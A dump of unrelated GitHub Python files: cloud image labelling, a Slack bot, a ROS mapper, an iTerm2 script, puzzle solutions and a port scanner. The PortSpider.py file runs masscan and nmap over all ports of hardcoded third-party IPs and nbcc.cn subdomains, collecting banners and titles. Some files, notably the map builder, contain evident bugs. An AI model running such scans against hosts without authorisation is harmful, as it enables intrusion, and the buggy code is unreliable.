size","repo_name":"bexxmodd/LeetCoding","sub_path":"LinkedList/removeNthNodeEnd.py","file_name":"removeNthNodeEnd.py","file_ext":"py","file_size_in_byte":1251,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"47"} +{"seq_id":"6443643297","text":"from email.mime import image\nimport boto3\nimport base64\nimport os\nfrom dotenv import load_dotenv\n\nload_dotenv()\n\nregion='eu-central-1'\n\nrekognition = boto3.client(\"rekognition\", region,aws_access_key_id=os.getenv('AWS_ACCESS_KEY_ID'),\n aws_secret_access_key= os.getenv('AWS_ACCESS_SECRET_KEY'))\n\n\n\ndef imgLabels(bytes):\n try:\n toImg=base64.b64decode(bytes)\n response = rekognition.detect_labels(Image={'Bytes': toImg})\n Labels=[]\n confidence=[]\n print(response['Labels'])\n for labels in response['Labels']:\n Labels.append(labels['Name'])\n confidence.append(labels['Confidence'])\n\n return Labels,confidence\n except Exception as e:\n print(e)\n return e\n\n\nwith open('database\\990976.jpg','rb') as img:\n bb4=base64.b64encode(img.read())\nprint(imgLabels(bb4))\n","repo_name":"Abubakar-K-Back/Image-Analyser-AWS","sub_path":"rekog.py","file_name":"rekog.py","file_ext":"py","file_size_in_byte":883,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"25841303172","text":"#!/usr/bin/env python\n\nimport sys\nsys.dont_write_bytecode = True\n\nimport glob\nimport yaml\nimport os\nimport sys\nimport time\nimport logging\nimport re\nfrom threading import Thread\nfrom logging.handlers import RotatingFileHandler\nfrom slackclient import SlackClient\n\n\ndef dbg(debug_string):\n \"\"\"\n Used to write debugging information if debug is set in config\n :param debug_string:\n :return:\n \"\"\"\n if debug:\n main_log.info(debug_string)\n\n\nclass RtmBot(object):\n\n def __init__(self, token):\n self.last_ping = 0\n self.token = token\n self.bot_plugins = []\n self.slack_client = None\n self.dm_help = []\n self.channel_help = []\n\n def connect(self):\n \"\"\"Convenience method that creates Server instance\"\"\"\n self.slack_client = SlackClient(self.token)\n self.slack_client.rtm_connect()\n\n def start(self):\n self.connect()\n self.load_plugins()\n self.on_start()\n self.load_help()\n while True:\n for reply in self.slack_client.rtm_read():\n self.input_logging(reply)\n self.input(reply)\n\n self.output()\n self.autoping()\n time.sleep(config['PING_INTERVAL']\n if \"PING_INTERVAL\" in config else .1)\n\n def autoping(self):\n \"\"\"\n This method keeps the bot connection alive to slack. Requires a ping every 5 seconds if there\n is no activity.\n :return:\n \"\"\"\n # hardcode the interval to 3 seconds\n now = int(time.time())\n if now > self.last_ping + 3:\n self.slack_client.server.ping()\n self.last_ping = now\n\n def load_help(self):\n \"\"\"\n calls the process_help() function in each plugin to setup the help text variables\n :return:\n \"\"\"\n global channel_help\n global dm_help\n\n for plugin in self.bot_plugins:\n plug_help = None\n try:\n plug_help = plugin.get_help()\n if len(plug_help[0]) > 0:\n for help in plug_help[0]:\n self.dm_help.append(help)\n if len(plug_help[1]) > 0:\n for help in plug_help[1]:\n self.channel_help.append(help)\n except AttributeError:\n main_log.info(\n \"{} is a bad bad plugin and doesnt implement process_help\".format(plugin))\n self.dm_help.append(\n \"help - Will return a listing of commands the bot responds to\")\n self.channel_help.append(\n \"help - Will return a listing of commands the bot responds to\")\n return\n\n def output_help(self, channel):\n \"\"\"\n Outputs help information to the help channel passed in\n :param channel:\n :return:\n \"\"\"\n message = \"Help for {}\\n-------------------\\n\".format(config[\n 'BOT_NAME'])\n if len(self.dm_help) > 0:\n message = \"{}DM Commands:\\n-------------------\\n\".format(message)\n for help in self.dm_help:\n message = \"{}\\n{}\".format(message, help)\n if len(self.channel_help) > 0:\n message = \"{}\\n\\nChannel Commands:\\n-------------------\\n\".format(\n message)\n for help in self.channel_help:\n message = \"{}\\n{}\".format(message, help)\n self.slack_client.api_call(\n \"chat.postMessage\", channel=channel, text=message, as_user=True)\n return\n\n def on_start(self):\n \"\"\"\n Runs the process_onstart method for each function that has it\n :return:\n \"\"\"\n function_name = \"process_onstart\"\n for plugin in self.bot_plugins:\n plugin.do(function_name, None)\n\n def input(self, data):\n \"\"\"\n Receives messages from the RTM api (data) and passes it to methods in the plugins based on data type\n For example, a message gets sent to process_message\n Also handles input for the help commands and routes them to output_help\n :param data:\n :return:\n \"\"\"\n if \"type\" in data:\n function_name = \"process_\" + data[\"type\"]\n dbg(\"got {}\".format(function_name))\n match = None\n if function_name == \"process_message\":\n match = re.findall(r\"{} (help|halp|help me)\".format(\n config['BOT_NAME']), data['text'])\n if data['channel'].startswith(\"D\"):\n function_name = \"process_directmessage\"\n match = re.findall(r\"(help|halp|help me)\", data['text'])\n if len(match) > 0 and data['user'] != config['BOT_USER_ID']:\n return self.output_help(data['channel'])\n for plugin in self.bot_plugins:\n plugin.do(function_name, data)\n\n def output(self):\n \"\"\"\n Uses the slack web API (not the RTM API) to post a message based on content of\n outputs from plugins.\n Uses the web api because the RTM api is not able to process formatted messages\n :return:\n \"\"\"\n for plugin in self.bot_plugins:\n limiter = False\n for output in plugin.do_output():\n channel = self.slack_client.server.channels.find(output[0])\n if channel is not None and output[1] != None:\n if limiter == True:\n time.sleep(.1)\n limiter = False\n message = output[1].encode('ascii', 'ignore')\n # channel.send_message(\"{}\".format(message))\n self.slack_client.api_call(\n \"chat.postMessage\", channel=output[0], text=message, as_user=True)\n limiter = True\n\n def load_plugins(self):\n \"\"\"\n Loads all plugins in the /plugins directory\n :return:\n \"\"\"\n for plugin in glob.glob(directory + '/plugins/*'):\n sys.path.insert(0, plugin)\n sys.path.insert(0, directory + '/plugins/')\n for plugin in glob.glob(directory + '/plugins/*.py') + \\\n glob.glob(directory + '/plugins/*/*.py'):\n main_log.info(plugin)\n name = plugin.split('/')[-1][:-3]\n self.bot_plugins.append(Plugin(name))\n\n def input_logging(self, data):\n \"\"\"\n If COMMAND_LOGGING is true in config, logs all input sent at the bot\n This is used more for analytics then debugging. If you want\n debugging, turn on debugging\n :param data:\n :return:\n \"\"\"\n # do nothing if we havent defined command logging or it is false\n if not \"INPUT_LOGGING\" in config or not config['INPUT_LOGGING']:\n return\n\n # dont log anytyhing that is coming from the bot itself\n if \"user\" in data and data['user'] == config['BOT_USER_ID']:\n return\n\n # discard some logs that we just dont need\n if data['type'] in config['INPUT_DO_NOT_LOG_TYPES']:\n return\n\n input_log.info(\"{},{},{},{}\".format(\n data['type'],\n data['user'] if \"user\" in data else None,\n data['channel'] if \"channel\" in data else None,\n data['text'] if \"text\" in data else None))\n\n\nclass Plugin(object):\n\n def __init__(self, name, plugin_config={}):\n self.name = name\n self.module = __import__(name)\n self.outputs = []\n if name in config:\n main_log.info(\"config found for: \" + name)\n self.module.config = config[name]\n if 'setup' in dir(self.module):\n self.module.setup()\n\n def plugin_worker(self, function_name, data):\n \"\"\"\n Method used to thread plugins\n :param function_name:\n :param data:\n :return:\n \"\"\"\n try:\n if function_name == \"process_onstart\":\n eval(\"self.module.\" + function_name)()\n elif data['user'] != config['BOT_USER_ID']:\n eval(\"self.module.\" + function_name)(data)\n except KeyError:\n return\n\n def get_help(self):\n \"\"\"\n Runs the \"process_help\" function from a plugin and returns the output\n :return:\n \"\"\"\n function_name = \"process_help\"\n return eval(\"self.module.\" + function_name)()\n\n def do(self, function_name, data):\n \"\"\"\n Runs a plugin if it has a function to match the data being passed to it\n :param function_name:\n :param data:\n :return:\n \"\"\"\n if function_name in dir(self.module):\n try:\n # stars a thread for this call to a plugin\n t = Thread(\n target=self.plugin_worker, args=(\n function_name, data))\n t.start()\n except:\n dbg(\"problem in module {} {}\".format(function_name, data))\n if \"catch_all\" in dir(self.module):\n try:\n self.module.catch_all(data)\n except:\n dbg(\"problem in catch all\")\n\n def do_output(self):\n output = []\n while True:\n if 'outputs' in dir(self.module):\n if len(self.module.outputs) > 0:\n main_log.info(\"output from {}\".format(self.module))\n output.append(self.module.outputs.pop(0))\n else:\n break\n else:\n self.module.outputs = []\n return output\n\n def do_dm_help(self):\n dm_help = []\n while True:\n if 'dm_help' in dir(self.module):\n if self.module.dm_help and len(self.module.dm_help) > 0:\n main_log.info(\"dm_help from {}\".format(self.module))\n dm_help.append(self.module.dm_help.pop(0))\n else:\n break\n else:\n self.module.dm_help = []\n return dm_help\n\n def do_channel_help(self):\n channel_help = []\n while True:\n if 'dm_help' in dir(self.module):\n if self.module.channel_help and len(self.module.channel_help) > 0:\n main_log.info(\"channel_help from {}\".format(self.module))\n dm_help.append(self.module.channel_help.pop(0))\n else:\n break\n else:\n self.module.channel_help = []\n return channel_help\n\n\nclass UnknownChannel(Exception):\n pass\n\n\ndef setup_logger(logger_name, log_file, level=logging.INFO):\n l = logging.getLogger(logger_name)\n formatter = logging.Formatter('%(asctime)s : %(message)s')\n fileHandler = RotatingFileHandler(log_file, mode='a', maxBytes=(\n config['LOGGING_MAX_SIZE'] if \"LOGGING_MAX_SIZE\" in config else 10485760),\n backupCount=config[\n 'LOGGING_LOGS_TO_KEEP'] if \"LOGGING_LOGS_TO_KEEP\" in config else 5\n )\n fileHandler.setFormatter(formatter)\n\n l.setLevel(level)\n l.addHandler(fileHandler)\n\n\ndef main_loop():\n \"\"\"\n Starts up the main bot loop and listens for a keyboard interrupt to quit it\n :return:\n \"\"\"\n\n try:\n bot.start()\n except KeyboardInterrupt:\n sys.exit(0)\n except:\n main_log.exception('OOPS')\n\n\nif __name__ == \"__main__\":\n directory = os.path.dirname(sys.argv[0])\n if not directory.startswith('/'):\n directory = os.path.abspath(\"{}/{}\".format(os.getcwd(),\n directory\n ))\n\n config = yaml.load(file('conf/rtmbot.conf', 'r'))\n debug = config[\"DEBUG\"] if \"DEBUG\" in config else False\n input_logging = config[\n 'INPUT_LOGGING'] if \"INPUT_LOGGING\" in config else False\n bot = RtmBot(config[\"SLACK_TOKEN\"])\n site_plugins = []\n\n main_log_file = config[\n 'LOGPATH'] + config['LOGFILE'] if \"LOGPATH\" in config and \"LOGFILE\" else \"bot.log\"\n\n setup_logger(\"main_logs\", main_log_file, logging.INFO)\n main_log = logging.getLogger('main_logs')\n\n if input_logging:\n input_log_file = config['LOGPATH'] + config[\n 'INPUT_LOGFILE'] if \"LOGPATH\" in config and \"INPUT_LOGFILE\" else \"inputs.log\"\n setup_logger(\"input_logs\", input_log_file, logging.INFO)\n input_log = logging.getLogger('input_logs')\n\n if \"DAEMON\" in config and config['DAEMON']:\n import daemon\n with daemon.DaemonContext():\n main_loop()\n main_loop()\n","repo_name":"andrewthetechie/slack_rtmbot","sub_path":"slack_rtmbot.py","file_name":"slack_rtmbot.py","file_ext":"py","file_size_in_byte":12598,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"} +{"seq_id":"41905762736","text":"#!/usr/bin/env python3\r\n\r\nimport math\r\nimport rclpy\r\nfrom rclpy.node import Node\r\nfrom rclpy.clock import Clock\r\n\r\nfrom sensor_msgs.msg import LaserScan\r\nfrom geometry_msgs.msg import PoseStamped, Pose\r\nfrom nav2_msgs.msg import OccupancyGrid, MapMetaData\r\nfrom nav2_msgs.srv import SaveMap\r\n\r\nfrom px4_msgs.msg import VehicleOdometry\r\n\r\n\r\nclass MapBuilder(Node):\r\n def __init__(self):\r\n super().__init__('map_builder')\r\n\r\n self.map_resolution = 0.1 # meters per pixel\r\n self.scan_threshold = 0.2 # minimum distance for an obstacle in meters\r\n self.current_map = None\r\n self.current_pose = None\r\n self.current_map_2d = None\r\n self.current_pose = None\r\n self.map_meta_data = None\r\n\r\n self.create_subscription(\r\n VehicleOdometry, 'vehicle_odom', self.odom_callback, 10)\r\n self.create_subscription(LaserScan, 'scan', self.scan_callback, 10)\r\n self.map_pub = self.create_publisher(OccupancyGrid, 'map', 10)\r\n\r\n def odom_callback(self, msg):\r\n self.current_pose = msg.pose\r\n\r\n def scan_callback(self, msg):\r\n if self.current_pose is None:\r\n return\r\n\r\n # Convert laser scan data to a 2D occupancy grid\r\n map_width = int(msg.range_max / self.map_resolution)\r\n map_height = int((msg.angle_max - msg.angle_min) /\r\n msg.angle_increment / self.map_resolution)\r\n map_data = [-1] * (map_width * map_height)\r\n\r\n for i, scan_range in enumerate(msg.ranges):\r\n if scan_range <= msg.range_min or scan_range >= msg.range_max:\r\n continue\r\n\r\n scan_angle = msg.angle_min + i * msg.angle_increment\r\n x = self.current_pose.position.x + \\\r\n scan_range * math.cos(scan_angle)\r\n y = self.current_pose.position.y + \\\r\n scan_range * math.sin(scan_angle)\r\n\r\n map_x = int(x / self.map_resolution)\r\n map_y = int(y / self.map_resolution)\r\n\r\n if map_x < 0 or map_x >= map_width or map_y < 0 or map_y >= map_height:\r\n continue\r\n\r\n index = map_y * map_width + map_x\r\n if map_data[index] < 0 or scan_range < map_data[index]:\r\n map_data[index] = int(scan_range / self.scan_threshold * 100)\r\n\r\n # Publish the 2D map\r\n if self.current_map_2d is None:\r\n self.current_map_2d = OccupancyGrid()\r\n self.current_map_2d.header.frame_id = 'map'\r\n self.map_meta_data = MapMetaData()\r\n self.map_meta_data.resolution = self.map_resolution\r\n self.map_meta_data.width = map_width\r\n self.map_meta_data.height = map_height\r\n self.map_meta_data.origin.position.x = self.current_pose.position.x - \\\r\n map_width * self.map_resolution / 2\r\n self.map_meta_data.origin.position.y = self.current_pose.position.y - \\\r\n map_height * self.map_resolution / 2\r\n self.map_meta_data.origin.orientation.w = 1.0\r\n self.current_map_2d.info = self.map_meta_data\r\n\r\n self.current_map.header.stamp = self.get_clock().now().to_msg()\r\n self.current_map.data = map_data\r\n self.map_pub.publish(self.current_map)\r\n\r\n # Create the 3D map\r\n if self.current_map_3d is None:\r\n self.current_map_3d = OccupancyGrid()\r\n self.current_map_3d.header.frame_id = 'map'\r\n self.current_map_3d.info.resolution = self.map_resolution\r\n self.current_map_3d.info.width = map_width\r\n self.current_map_3d.info.height = map_height\r\n self.current_map_3d.info.origin.position.x = self.current_pose.position.x - \\\r\n map_width * self.map_resolution / 2\r\n self.current_map_3d.info.origin.position.y = self.current_pose.position.y - \\\r\n map_height * self.map_resolution / 2\r\n self.current_map_3d.info.origin.position.z = 0\r\n self.current_map_3d.info.origin.orientation.x = 0\r\n self.current_map_3d.info.origin.orientation.y = 0\r\n self.current_map_3d.info.origin.orientation.z = 0\r\n self.current_map_3d.info.origin.orientation.w = 1.0\r\n\r\n # Convert the 2D map to a 3D map\r\n map_data_3d = [-1] * (map_width * map_height * self.map_height)\r\n for i in range(map_width):\r\n for j in range(map_height):\r\n for k in range(self.map_height):\r\n index_2d = j * map_width + i\r\n index_3d = k * map_width * map_height + index_2d\r\n if map_data[index_2d] >= 0 and k < map_data[index_2d]:\r\n map_data_3d[index_3d] = 100\r\n elif k < self.map_height / 2:\r\n map_data_3d[index_3d] = 0\r\n\r\n # Publish the 3D map\r\n self.current_map_3d.header.stamp = self.get_clock().now().to_msg()\r\n self.current_map_3d.data = map_data_3d\r\n self.map_3d_pub.publish(self.current_map_3d)\r\n\r\n\r\ndef main(args=None):\r\n rclpy.init(args=args)\r\n map_builder = MapBuilder()\r\n rclpy.spin(map_builder)\r\n map_builder.destroy_node()\r\n rclpy.shutdown()\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","repo_name":"Meyiwa123/SkyMap","sub_path":"Sample Code/map_builder.py","file_name":"map_builder.py","file_ext":"py","file_size_in_byte":5251,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"3494846396","text":"#!/usr/bin/env python3.7\n\nimport asyncio\nfrom asyncio.subprocess import PIPE\nimport textwrap\nimport time\nimport iterm2\n\nEX_NOTFOUND = 127 #return code for command not found\nOPENSHIFT_COMMANDS = [\"oc login \", \"oc logout\", \"oc project \"]\nICON_1X = iterm2.StatusBarComponent.Icon(1, \"iVBORw0KGgoAAAANSUhEUgAAABAAAAARCAQAAAB+puRPAAAA0ElEQVR4Aa3BTyuDARwA4KdNqSW77cDB1U0KFyXlGyw77CgHR7XkpFyEWiFuXFzWysVJSZx9hZ3sMpTyp1yWpZ/a1l5r1z2PIZuxrqxk3ogBk6pCCCHULOmT0xB+3Tpz7V34sWpBV8qDUDerY9yRcy13RrUtCy1zEtP2rek5EG6kJSpCVU/Zm087EhuanlV0pR0qykhkbQuP2la8qEv5L6Mm7Gmb0BSO7crpGHMlfJnSlVfwLXy4tOVEQwh5fRY9CSGE8KpoQEbBqXsXNmUNzR+ScESlOaPFVAAAAABJRU5ErkJggg==\")\nICON_2X = iterm2.StatusBarComponent.Icon(2, \"iVBORw0KGgoAAAANSUhEUgAAACAAAAAiCAYAAAA+stv/AAAB0ElEQVR4Ae3SA6xcQRSA4dq2bdtmVNt2g9qNatu2bdu2bbtdnv4b3sxy7r4X3j/5Ysycc6JYWZksO5qjBwahAyojMSKtlBiNZxA/bNiGuoiwomE4fkM07ERGhFVyHIKY9AONYKqo2AcJ4ickABtqQrvBEKjeoidKIwk8ZUZLLIANoviBNliEgQhaeTggBk5MRyIEKjeuQ3Ab/+CEQGALdhuJ8BKi6I1QS4Qi8NQfgo+YhTIIWBuIYgvMFAP1sAAxEVKb1Z0jCXQqiOn4AMEjhFQc/IIYjIduAyGK0ghaDoiiBlJDpzRwmLmhohAI3HDiIn5At7sQg7Xoi0nwWznswEq4IRC4EBM6ncQ3vMI/uCHYhKDVhuAuhiATdCuOODgLMViKgCVFP3RHuCXBX4jBcPisAbbABsE8hFtfiKIgfHYMYvABCWC2Qurv8Rh+awtRrICnGMiMUIuPuxDFIPgtNp5BDGzYiA/4i9YIVklcgigOIxoC1hKvMAYHIVAdREfkVo6tFObCBVG8RxoELSqiw1NCXIYE8BHvIQG4UBOmSoXrEJNs6IawioWRsEE03EcJRFj5sBhfIX64cQktER2RUixUQ1eMxWgMQFOkglZWVv8BVWcaDO4vw3sAAAAASUVORK5CYII=\")\n\nasync def calculate():\n \"\"\"Returns the current active openshift project\"\"\"\n proc = await asyncio.create_subprocess_shell(\"oc project -q\", stdout=PIPE, stderr=PIPE)\n stdout, stderr = await proc.communicate()\n if proc.returncode == EX_NOTFOUND:\n return ''\n if stderr:\n stderr_decoded = stderr.decode()\n if \"(Unauthorized)\" in stderr_decoded:\n return 'Not logged in'\n return [f'{textwrap.shorten(stderr_decoded, width=width, placeholder=\"…\")}'\n for width in [20, 40, 60, 80, 100, 120]]\n\n return f'{stdout.decode().strip()}'\n\nasync def main(connection):\n component = iterm2.StatusBarComponent(\n short_description=\"openshift\",\n detailed_description=\"The current active openshift project\",\n exemplar=\"projectname\",\n icons=[ICON_1X, ICON_2X],\n update_cadence=None,\n identifier=\"com.openshift\",\n knobs=[])\n\n app = await iterm2.async_get_app(connection)\n\n async def update():\n \"\"\"A background tasks that periodically updates the status bar.\"\"\"\n while True:\n print(\"Updating\")\n await app.async_set_variable(\"user.openshift\", await calculate())\n await asyncio.sleep(10 * 60) #10min\n asyncio.create_task(update())\n\n @iterm2.StatusBarRPC\n async def coroutine(knobs, value=iterm2.Reference(\"iterm2.user.openshift?\"),):\n return value if value else \"\"\n await component.async_register(connection, coroutine)\n\n async def monitor(session_id):\n \"\"\"Check for oc commands and update the status bar.\"\"\"\n session = app.get_session_by_id(session_id)\n if not session:\n return\n modes = [iterm2.PromptMonitor.Mode.COMMAND_START]\n async with iterm2.PromptMonitor(connection, session_id, modes=modes) as mon:\n while True:\n _, command = await mon.async_get()\n if any(openshift_command in command for openshift_command in OPENSHIFT_COMMANDS):\n await asyncio.sleep(1)\n await app.async_set_variable(\"user.openshift\", time.time())\n await iterm2.EachSessionOnceMonitor.async_foreach_session_create_task(app, monitor)\n\niterm2.run_forever(main)\n","repo_name":"pe/dotfiles","sub_path":"Library/Application Support/iTerm2/Scripts/AutoLaunch/openshift.py","file_name":"openshift.py","file_ext":"py","file_size_in_byte":3621,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"32501250894","text":"import streamlit as st\n\ndef find_largest_num(num1, num2, num3):\n return max(num1, num2, num3)\n\nst.title(\"A simple app to find largest number\")\nst.subheader(\"Created by Yash Gambhir\")\nnum1 = st.number_input(\"Enter the first number\")\nnum2 = st.number_input(\"Enter the second number\")\nnum3 = st.number_input(\"Enter the third number\")\n\nif st.button(\"Find\"):\n result = find_largest_num(num1, num2, num3)\n st.success(f\"The largest number is {result}.\\n Thank you for using the app.\")\n","repo_name":"yash-gambhir/streamlitTSD8","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":487,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"32374683776","text":"from aoc import aoc\n\ninput = aoc.read_input('../input/in.txt')\nfishies = list(map(int, input[0].split(',')))\n\n\ndef simulate_school(fish, days):\n school = [0 for _ in range(9)]\n for f in fish:\n school[f] += 1\n for i in range(days):\n aoc.logger(f\"Current day: {i}, {days-i} left to go\")\n new_school = [0 for _ in range(9)]\n for day, amount in enumerate(school):\n if day == 0:\n new_school[6] += amount\n new_school[8] += amount\n else:\n new_school[day-1] += amount\n school = new_school\n return sum(school)\n\n\nprint(simulate_school(fishies, 80))\nprint(simulate_school(fishies, 256))\n\n\n\n\n","repo_name":"DatDutchDude/AdventOfCode","sub_path":"2021/06/scripts/script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":694,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"70347963022","text":"# coding=utf-8\n\n# from Spider.BaseSpider import *\nimport nmap\nimport multiprocessing\nimport json\nimport openpyxl\nimport os\nimport requests\nimport re\nimport chardet\nrequests.packages.urllib3.disable_warnings()\n\nabs_path = os.getcwd() + os.path.sep\n\n# 端口扫描的实现\nclass PortScan(object):\n def __init__(self, domain, _ip):\n self.domain = domain\n self.scanlists = []\n self.ports = []\n self._ip = _ip\n\n # 写文件操作\n def write_file(self, web_lists, target, page):\n workbook = openpyxl.load_workbook(abs_path + str(target) + \".xlsx\")\n worksheet = workbook.worksheets[page]\n index = 0\n while index < len(web_lists):\n web = list()\n web.append(web_lists[index]['scan_ip']) # scan_ip\n web.append(web_lists[index]['port']) # port\n web.append(web_lists[index]['banner']) # banner\n web.append(web_lists[index]['service_name']) # service\n web.append(web_lists[index]['title']) # title\n worksheet.append(web)\n index += 1\n workbook.save(abs_path + str(target) + \".xlsx\")\n workbook.close()\n\n # 调用masscan识别端口\n def Portscan(self, scan_ip):\n temp_ports = [] # 设定一个临时端口列表\n os.system(abs_path + 'masscan.exe ' + scan_ip + ' -p 1-65535 -oJ masscan' + str(scan_ip) + '.json --rate 1000')\n\n # 提取json文件中的端口\n with open(abs_path + 'masscan' + str(scan_ip) + '.json', 'r') as f:\n for line in f:\n if line.startswith('{ '):\n temp = json.loads(line[:-2]) # 取出一条完整json形式的数据\n temp_ports.append(str(temp[\"ports\"][0][\"port\"]))# 端口取出加入临时端口中\n\n if len(temp_ports) > 25:\n print(\"判断防火墙存在 结束当前进程!\")\n # temp_ports.clear() # 如果端口数量大于25,说明可能存在防火墙,属于误报,清空列表\n exit(0)\n else:\n self.ports.extend(temp_ports) # 小于30则放到总端口列表里\n\n # 调用nmap识别服务\n def Scan(self, scan_ip):\n nm = nmap.PortScanner()\n try:\n for port in self.ports:\n info = {} # 存储字典\n ret = nm.scan(scan_ip, port, arguments='-Pn -sS') # 默认是 not ping 半tcp策略扫描\n service_name = ret['scan'][scan_ip]['tcp'][int(port)]['name']\n # print('[*] 主机 ' + scan_ip + ' 的 ' + str(port) + ' 端口服务为: ' + service_name)\n\n # 一共有三种情况 一种是http 一种是https 一种是 不是http 不是https\n\n # 如果扫描出来的协议是https的话则如下操作\n if 'http' in service_name or service_name == 'sun-answerbook':\n if service_name == 'https' or service_name == 'https-alt':\n scan_url_port = 'https://' + scan_ip + ':' + str(port)\n info['scan_ip'] = scan_ip\n info['service_name'] = service_name\n info['port'] = port\n try:\n resp = requests.get(scan_url_port, timeout=3, verify=False)\n # 获取网站的页面编码并且应用\n detectencode = chardet.detect(resp.content) # 利用chardet模块检测编码\n response = re.findall(r'(.*?)', resp.content.decode(detectencode['encoding']), re.S) # re.S的作用 匹配的时候扩展到整个字符串(包括换行这些\\n)\n if response: # 如果访问的时候正则匹配到标签\n # 将页面解码为utf-8,获取中文标题\n # 如果访问的时候正则匹配到title标签\n title = response[0]\n banner = resp.headers['server']\n info['banner'] = banner\n info['title'] = title\n else:\n info['banner'] = ''\n info['title'] = ''\n self.scanlists.append(info)\n # print(info)\n except:\n pass\n else:\n # 探测为http协议的时候\n scan_url_port = 'http://' + scan_ip + ':' + str(port)\n info['scan_ip'] = scan_ip\n info['service_name'] = service_name\n info['port'] = port\n try:\n # 获取标题\n resp = requests.get(scan_url_port, timeout=3, verify=False)\n # 获取网站的页面编码并且应用\n detectencode = chardet.detect(resp.content) # 利用chardet模块检测编码\n response = re.findall(r'<title>(.*?)', resp.content.decode(detectencode['encoding']), re.S) # re.S的作用 匹配的时候扩展到整个字符串(包括换行这些\\n)\n if response: # 如果访问的时候正则匹配到标签\n # 将页面解码为utf-8,获取中文标题\n # 如果访问的时候正则匹配到title标签\n title = response[0]\n banner = resp.headers['server']\n # self.scanlists.append(scan_url_port + '\\t' + banner + '\\t' + title)\n info['banner'] = banner\n info['title'] = title\n else:\n # self.scanlists.append(scan_url_port + '\\t' + service_name + '\\t' + \"获取标题失败,请手动尝试!!!\")\n info['banner'] = ''\n info['title'] = ''\n self.scanlists.append(info)\n # print(info)\n except:\n pass\n # 如果不是 http https则为其他端口默认http请求访问探测\n else:\n # 形式为:[\"47.96.196.217:443 https\",\"47.96.196.217:80 blackice-icecap\"]....\n info['banner'] = ''\n info['title'] = ''\n info['scan_ip'] = scan_ip\n info['port'] = port\n info['service_name'] = service_name\n self.scanlists.append(info)\n # print(info)\n # self.scanlists.append(scan_ip + ':' + str(port) + '\\t端口服务为: ' + service_name)\n except Exception as e:\n print(e)\n pass\n self.ports.clear() # 扫一次清理一次\n\n def main(self):\n print(\"当前正在扫描的IP为:\" + self._ip)\n self.Portscan(self._ip)\n self.Scan(self._ip)\n self.write_file(self.scanlists, self.domain, 5)\n\n\nif __name__ == '__main__':\n clear_task_list = [\n {'subdomain': '', 'ips': '60.190.19.102', 'port': [], 'target': 'ip'},\n {'subdomain': 'webvpn.nbcc.cn', 'ips': '42.247.33.26', 'port': None, 'target': 'subdomain'},\n {'subdomain': 'a004.cache.saaswaf.com', 'ips': '119.188.95.114', 'port': None, 'target': 'webdomain'},\n {'subdomain': 'vpn.nbcc.cn', 'ips': '42.247.33.25', 'port': None, 'target': 'subdomain'},\n {'subdomain': 'vpan.nbcc.cn', 'ips': '120.79.66.58', 'port': None, 'target': 'subdomain'},\n {'subdomain': 'vpsn.nbcc.cn', 'ips': '42.247.33.25', 'port': None, 'target': 'subdomain'},\n {'subdomain': 'vpsn.nbcc.cn', 'ips': '47.56.199.16', 'port': None, 'target': 'subdomain'},\n {'subdomain': 'vpsn.nbcc.cn', 'ips': '116.85.41.113', 'port': None, 'target': 'subdomain'}\n\n ]\n\n multiprocessing.freeze_support()\n temp_ips = [] # 用来记录扫描过的ip 防止多次扫描 节省时间\n pool = multiprocessing.Pool(5)\n for aaa in clear_task_list:\n flag = 0\n if aaa['target'] == 'subdomain':\n if aaa['ips'] != '':\n # 先进行遍历 验证是否重复扫描\n for i in temp_ips:\n if aaa['ips'] == i:\n flag += 1\n if flag == 0:\n temp_ips.append(aaa['ips'])\n # print(\"已经扫描过的ip有如下:\", temp_ips)\n bbb = PortScan('nbcc.cn', aaa['ips'])\n pool.apply_async(func=bbb.main) # 异步运行,非阻塞\n pool.close()\n pool.join()","repo_name":"cqkenuo/myscan-1","sub_path":"Spider/PortSpider.py","file_name":"PortSpider.py","file_ext":"py","file_size_in_byte":8891,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"3726428568","text":"\"\"\"\nĆwiczenie:\nNapisać program, który:\n 1. Wczyta z konsoli kwotę brutto i stawkę VAT\n 2. Wypisze kwotę netto i kwotę VAT wg podanej stawki\n\"\"\"\na = int(input('podaj kwote:'))\nz = int\nr1 = int\nr2 = int\nx = int\ny = int\n\nif a >= 5:\n z = a // 5\n r1 = a % 5\n if r1 >= 0:\n x = r1 // 2\n r2 = r1 % 2\n else:\n print(int(z), 'x 5PLN', 0, 'x 2PLN', 0, 'x 1PLN')\n\n if r2 > 0:\n y = r2 / 1\n print(int(z), 'x 5PLN', int(x), 'x 2PLN', int(y), 'x 1PLN')\n else:\n print(int(z), 'x 5PLN', int(x), 'x 2PLN', 0, 'x 1PLN')\nelse:\n if a <= 4:\n x = a // 2\n r2 = a % 2\n else:\n print(0, 'x 5PLN', x, 'x 2PLN', y, 'x 1PLN')\n\n if r2 > 0:\n y = r2 / 1\n print(0, 'x 5PLN', x, 'x 2PLN', int(y), 'x 1PLN')\n else:\n print(0, 'x 5PLN', x, 'x 2PLN', 0, 'x 1PLN')\nif a == 0:\n print('nie może być zero!!')\n","repo_name":"AntonC1/Python-Exes","sub_path":"zad2.py","file_name":"zad2.py","file_ext":"py","file_size_in_byte":890,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"20625417440","text":"import sys\nsys.stdin = open('input.txt')\n\ndef check_closs(x, y, num):\n dj = [-1, -1, 1, 1]\n di = [-1, 1, -1, 1]\n\n\n for d in range(4):\n xt = x\n yt = y\n while xt + di[d] >= 0 and xt + di[d] < N and yt + dj[d] >= 0 and yt + dj[d] < N:\n xt += di[d]\n yt += dj[d]\n closs_chk[xt][yt] += num\n\n\ndef perm(k, n, cnt):\n global MAX\n if k == n:\n if cnt == N:\n MAX +=1\n else:\n flag = 